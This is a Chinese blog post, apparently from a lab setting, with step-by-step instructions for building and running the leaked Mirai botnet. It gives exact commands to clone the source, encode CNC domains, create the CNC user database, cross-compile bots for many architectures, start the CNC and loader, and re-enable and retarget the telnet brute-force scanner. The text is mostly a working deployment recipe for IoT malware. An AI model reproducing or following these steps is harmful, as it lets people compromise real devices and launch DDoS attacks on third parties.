Mirai-botnet 環境搭建步驟

一、準備
1.Mirai 使用了 C,Go 兩種編程語言,使用數據庫存儲數據,因此提前安裝需要軟件如下命令:

sudo apt-get install git   
sudo apt-get install gcc
sudo apt-get install golang
sudo apt-get install electric-fence
sudo apt-get install mysql-server mysql-client

2.下載源碼

git clone https://github.com/jgamblin/Mirai-Source-Code

3.修改參數,配置CNC

cd mirai/tools && gcc enc.c -o enc.out //編譯enc可執行文件,用于ip地址異或
./enc.out string cnc.changeme.com   //會返回一串“\x”字符串 (其實就是加密了 cnc.changeme.com)
./enc.out string report.changeme.com   //會返回一串“\x”字符串

分別替換tables.c 文件中的18行和21行的“\x”字符串和后面的另一個參數
下圖是我得到的字符串和修改后的圖。提供參考。

得到的字符串

修改前

修改后

記得:要修改兩個參數!(\x字符串和后面的長度的參數)
4.配置數據庫

cd ../../scripts   //進入script目錄
gedit db.sql   //編輯大db.sql文件

添加use mirai;如下圖

image.png

service mysql start   //啟動Mysql 服務
cat db.sql | mysql -uroot -proot 
mysql -uroot -proot    //以用戶名和密碼都是`root`登錄數據庫
INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');   //添加的用戶
exit   //退出

修改mirai/cnc/main.go中用戶名和密碼與設置的一樣。修改后如下圖

修改數據庫參數.png

5.配置交叉編譯環境

cd .. && mkdir cross-compmile-bin   //這里是在`Mirai-Source-Code`目錄下新建
cd cross-compile-bin   

下載如下11個壓縮包

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz
2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

(有可能會下的很慢。我這里放一個我的下好的。鏈接:https://pan.baidu.com/s/1Z89uaV7boW2SRjIv6Y0Iig
提取碼:7o34 )

cd ../scripts
sudo ./cross-compile.sh

編譯過程會提示是否安裝 mysql,選否就可以

gedit ~/.bashrc   //打開環境變量

把以下放到最后

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go

如圖:
image.png
source ~/.bashrc     //刷新環境變量

6.編譯CNC 和bot

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet
cd ../loader
./build.sh

至此環境全部配置完成。

二、說明
設備情況:
電腦A:作為第一個被感染的設備。在48101端口運行./mirai.dbg進行掃描爆破。
電腦B:作為CNC&Loader。
CNC時:在分別在23和101 端口運行./cnc發送攻擊指令、與bot保持連接。
Loader時:在48101端口運行./scanList持續監聽。

連接情況:
1 電腦 A、B通過wifi連接宿舍局域網。
2 攝像頭A、B利用交換機與宿舍路由器連接。
最終就是保證四臺設備要在同一網絡下,能夠相互連接。

三、測試
1.還需要一點調整
由于cnc啟動是在/debug/cnc目錄下進行的,但是源碼里寫的是絕對路經。(如下圖)

image.png

所以我們把mirai目錄下的prompt.txt移動到/debug/cnc下。
如圖
image.png

2.啟動CNC (電腦B)

go build -o debug/cnc cnc/*.go    //在mirai 目錄下運行
./debug/cnc

得到如圖:


image.png

再新開一個終端嘗試連接 (可能需要管理員權限)

telnet cnc.change.com 23  

得到如下提示后再按一下回車,輸入用戶名密碼登錄


image.png

得到下圖反饋表示登錄成功!

image.png

3 啟動loader (電腦B)

cd mirai/debug 
sudo ./scanListen

通過查看48101端口是可以看到該端口在運行該程序

netstat -lput   // 查看端口指令
image.png

4 啟動掃描程序 (電腦A)
由于源碼默認在 debug 模式中關閉了 scanner 功能,將bot/main.c 中157行和162行注釋后即可運行。

image.png

之后重新編譯運行即可
mirai目錄下運行如下

./build.sh  debug telnet      

mirai/debug目錄下運行如下(這里注意一定要用管理員權限進行

sudo ./mirai.dbg

則會開始掃描如下:


image.png

5 控制掃描ip
由于源碼中是隨機找一個ip進行爆破 (mirai/bot/scanner.c 674行起),修改代碼后暫時可以固定一位ip地址掃描。修改后固定第一位為‘10’,結果如下:

image.png

參考:
https://www.cdxy.me/?p=746
https://www.cdxy.me/?p=748

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • 因為要結局swift3.0中引用snapKit的問題,看到一篇介紹Xcode8,swift3變化的文章,覺得很詳細...
    uniapp閱讀 4,480評論 0 12
  • Mirai概述 mirai,2016年一個備受關注的DDoS攻擊程序,與傳統的僵尸網絡不同的是,mirai的控制的...
    zengfan閱讀 4,752評論 2 5
  • Swift1> Swift和OC的區別1.1> Swift沒有地址/指針的概念1.2> 泛型1.3> 類型嚴謹 對...
    cosWriter閱讀 11,135評論 1 32
  • 越來越平穩了。說的是自己的心態。 身邊有個愛炸毛的,是怎樣一種體驗? 躲是躲不過去的。 諷刺挖苦,無理取鬧,上竄下...
    木槿花開月中天閱讀 889評論 11 29
  • 說到中國經典動畫角色造型,人們就想到美猴王,那個上世紀六七十年代,中國動畫鶴立雞群以獨一無二的風格屹立在世界的舞臺...
    若多小課堂閱讀 202評論 0 0